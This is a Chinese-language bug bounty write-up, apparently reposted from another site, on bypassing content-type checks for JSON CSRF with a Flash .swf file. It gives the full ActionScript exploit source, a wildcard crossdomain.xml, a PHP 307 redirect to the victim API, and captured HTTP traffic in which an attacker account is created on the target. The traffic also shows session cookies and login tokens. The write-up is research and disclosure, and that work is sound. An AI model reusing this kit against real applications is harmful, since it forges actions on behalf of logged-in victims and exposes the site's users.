JSON CSRF with FLASH (.swf) File

背景信息

我试图运行bug奖励计划,并发现了一个有趣的问题,我第一次利用这个问题,这真是太有意思了,所以想和大家分享一下。这个漏洞和利用方式已经可以在互联网上找到,但是我会尽我所能来解释所有可能的场景,以确保在常规的Web应用渗透测试中利用它。

带有JSON请求的CSRF

要为任何JSON请求利用CSRF漏洞,下面是我们通常检查的事情

  • 检查请求主体中存在的任何唯一标记 – >我们使用删除标记并提交请求来检查CSRF。

  • 检查请求头中的任何唯一标记 – >我们使用删除标记并重新提交请求来检查CSRF。

  • 检查请求头的内容类型 – > 如果主体的请求是application / json, 我们将检查是否接受其他内容类型,比如application / x-www-form-urlencoded 和不是。

  • 检查任何referer检查 – > 有时检查referer头也很好。

我想我已经覆盖了可能的方式来探测任何JSON请求中的CSRF。如果我错过了某些东西,请在评论部分告诉我。

大多数情况下,我已经看到下面提到的任何JSON请求的保护

  • 请求头中的唯一标记
  • 内容类型验证只接受“ application / json ”

如果唯一令牌未被正确验证,并且您可以通过删除CSRF头来重放请求呢?

此时,内容类型验证将是保护CSRF的替代方案,通常人们认为这是足够的保护,原因如下

  • 基于表单的CSRF将无法工作,因为基于表单的CSRF将以内容类型“ application / x-www-form-urlencoded ” 的形式发送,内容类型验证将会抓住这一点。

  • 如果用户能够将内容类型添加为XHR(Ajax请求)的一部分,则浏览器SOP策略将保护CSRF操作。

如果应用程序仅检查“ application / json ”内容类型,则可以使用Flash(.swf)文件轻松绕过这些类型的验证。

开发案例

要使用此攻击,您需要对您的域(攻击者的域)有以下要求。

  • 利用Flash文件: 您可以自定义此处存在的文件
  • 跨域策略文件: 这应该出现在您的域中。对于我的情况,这是在这里
  • 带有307重定向的PHP文件: 这也需要存在于您的域的根目录中

我在私人bug奖励计划中发现了这个漏洞,显而易见,我无法分享应用程序的名称

下面的请求是用来添加用户到应用程序

POST /api/users HTTP/1.1
Host: private.site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
X-XSRF-TOKEN-456459974: nOV8/EAPgRg4azrOAwjOjA==
Referer: https://private.site.com/admin/users
Content-Length: 112
Cookie: [snip]
Connection: close

{"firstName":"hacker","lastName":"user","email":"attacker@lolwa.com","password":"Sup3rS3cretP@123","planId":"FREE_2016"}

该请求包含“X-XSRF-TOKEN”作为CSRF保护,但在删除这个阅读器和重新提交请求工作正常,但将内容类型从“ 应用程序/ JSON ”更改为其他的不工作。

所以,为了执行CSRF,我们需要在请求头中找到一个包含“application / json”内容类型的方法。

1.以下是作为漏洞利用的一部分的SWF文件的内容

Flash文件包含我们的JSON有效载荷,内容类型为“application / json”,并链接到我们需要发送给PHP应用程序的PHP文件。

package
{
   import flash.display.Sprite;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   import flash.net.URLRequestMethod;

   public class re extends Sprite
   {


      public function re()
      {
         var member1:Object = null;
         var myJson:String = null;
         Wonderfl.capture(stage);
         super();
         Wonderfl.capture(stage);
         member1 = new Object();
         member1 = {
            "firstName":"Avinash",
            "lastName":"thapa",
            "email":"hloloaczzzzzzker@attacker.com",
            "password":"Sup3rS3cretP@ssw0rd!!",
            "planId":"FREE_2016"
         };
         var myData:Object = member1;
         myJson = JSON.stringify(myData);
         myJson = JSON.stringify(myData);
         var url:String = "https://exploitstube.com/test.php";
         var request:URLRequest = new URLRequest(url);
         request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
         request.data = myJson;
         request.method = URLRequestMethod.POST;
         var urlLoader:URLLoader = new URLLoader();
         try
         {
            urlLoader.load(request);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
   }
}

2.跨域XML文件

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

3.使用307重定向的PHP文件

HTTP 307临时重定向重定向状态响应代码指示所请求的资源已经暂时移动到由位置标题给定的URL。307和302之间的唯一区别是,307保证在重定向请求发生时方法和主体不会被改变。

<?php
header("Location: https://private.site.com/api/users/", true, 307);
?>

这里发生了什么事?

第一个请求将被发送到攻击者的域,其中.swf文件存在,如下所示:

GET /exploit/csrf.swf HTTP/1.1
Host: exploitstube.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wp-settings-1=editor%3Dtinymce%26mfold%3Do%26libraryContent%3Dbrowse%26hidetb%3D1%26post_dfw%3Doff%26widgets_access%3Don; wp-settings-time-1=1512046709; timezone=Asia/Dubai; PHPSESSID=a0pnmm82nhlr2fscdeifkns413; cpsession=%3a2eG9Y54oVjhDqMw8%2c4f46e5c4e113f176e4393dddf5f68483; wordpress_test_cookie=WP+Cookie+check; cerber_groove=4659a5232fb769ed82ff6edbbf9a4d11; wordpress_logged_in_a22c64fb61c31a248f34ae95e83e2769=acid_creative%7C1515947575%7CA7BfwUCMV6DxJA5Ldup8U3yaJXGNKPaH5jprcIUWrkP%7C81d57bbdbf6ea9cfb9d764ef69e22e8fd48ddbc370a40c00e89fe43c60db3e51; bApeaZmYkncU=qMe7W0R1TO9h; zNkhjCUqVtixdfe=HafPLDQ1bVB_UEJ; ZovIjPfShYcWx=rs1XZg%5D2yvjcu
If-Modified-Since: Sun, 31 Dec 2017 08:06:02 GMT

对此的回应如下所示

HTTP/1.1 304 Not Modified
Date: Sun, 31 Dec 2017 17:43:59 GMT
Server: Apache
Connection: Upgrade, close

其次,POST请求将使用JSON提交到PHP页面

POST /test.php HTTP/1.1
Host: exploitstube.com
Connection: close
Content-Length: 127
Origin: https://exploitstube.com
X-Requested-With: ShockwaveFlash/28.0.0.126
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: https://exploitstube.com/exploit/csrf.swf
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wp-settings-1=editor%3Dtinymce%26mfold%3Do%26libraryContent%3Dbrowse%26hidetb%3D1%26post_dfw%3Doff%26widgets_access%3Don; wp-settings-time-1=1512046709; timezone=Asia/Dubai; PHPSESSID=a0pnmm82nhlr2fscdeifkns413; cpsession=%3a2eG9Y54oVjhDqMw8%2c4f46e5c4e113f176e4393dddf5f68483; wordpress_test_cookie=WP+Cookie+check; cerber_groove=4659a5232fb769ed82ff6edbbf9a4d11; wordpress_logged_in_a22c64fb61c31a248f34ae95e83e2769=acid_creative%7C1515947575%7CA7BfwUCMV6DxJA5Ldup8U3yaJXGNKPaH5jprcIUWrkP%7C81d57bbdbf6ea9cfb9d764ef69e22e8fd48ddbc370a40c00e89fe43c60db3e51; bApeaZmYkncU=qMe7W0R1TO9h; zNkhjCUqVtixdfe=HafPLDQ1bVB_UEJ; ZovIjPfShYcWx=rs1XZg%5D2yvjcu

{"lastName":"thapa","email":"hloloaczzzzzzker@attacker.com","firstName":"Avinash","planId":"FREE_2016","password":"lolololol"}

对此的回应如下所示

HTTP/1.1 307 Temporary Redirect
Date: Sun, 31 Dec 2017 17:44:01 GMT
Server: Apache
X-Powered-By: PHP/5.5.38
Upgrade: h2
Connection: Upgrade, close
Location: https://private.site.com/api/users
Content-Length: 0
Content-Type: text/html

下一个请求将是

POST /api/users HTTP/1.1
Host: private.site.com
Connection: close
Content-Length: 127
Origin: null
X-Requested-With: ShockwaveFlash/28.0.0.126
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: https://exploitstube.com/exploit/csrf.swf
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _u=webservice-088c5fd5; _ga=GA1.2.295195905.1514539632; _gid=GA1.2.288906410.1514539632; __stripe_mid=3d9fdbce-49da-4644-9b81-5dcd692038b0; i18next=en; __hstc=77027530.e2df1e5f4bb1747abbe6da0c7893a151.1514618203792.1514618203792.1514618203792.1; __hssrc=1; hubspotutk=e2df1e5f4bb1747abbe6da0c7893a151; __stripe_sid=d6b3a550-2783-4191-93ac-f652888b1ac1; XSRF-TOKEN-456459974=GdWdgWKQG3anC8yvaj/g+Q==; on=EmWNSXOHZbb/jUgUi0MwC79Q07EVTcgpgn37PwSlN3kW7qi7lOxLJWlErAh/XI9bG/ino6ftyc/eaYPmHRX5bbXx6LUjQ/NxOkwroFQHCu1szbVaTsIoQ2m9EaICm+z6ffXXxe6IafX5Lfn1BDuoA0Gk7zfl25uAdTPqwGDYpy2Sff1uq2vsbIU0B1+ecG+ly8aA5/A/Ih3LujCHK8iDvQGljPyl7Xii178a8gA4ASLXxq4XU+D3w3waDthEibkGrDo4owGtfPIzro2WBIZHA/mbi1U=

{"lastName":"thapa","email":"hloloaczzzzzzker@attacker.com","firstName":"Avinash","planId":"FREE_2016","password":"lololol"}

响应将是用户在应用程序上创建的200 OK。

注意: – 这个攻击可以在所有支持Flash的浏览器上运行。我已经利用这个铬。


转载文章请注明出处:https://www.freearoot.com/index.php/json-csrf-with-flash-swf-file.html

文章来源:https://exploitstube.com/json-csrf-with-flash-swf-file.html

Tags: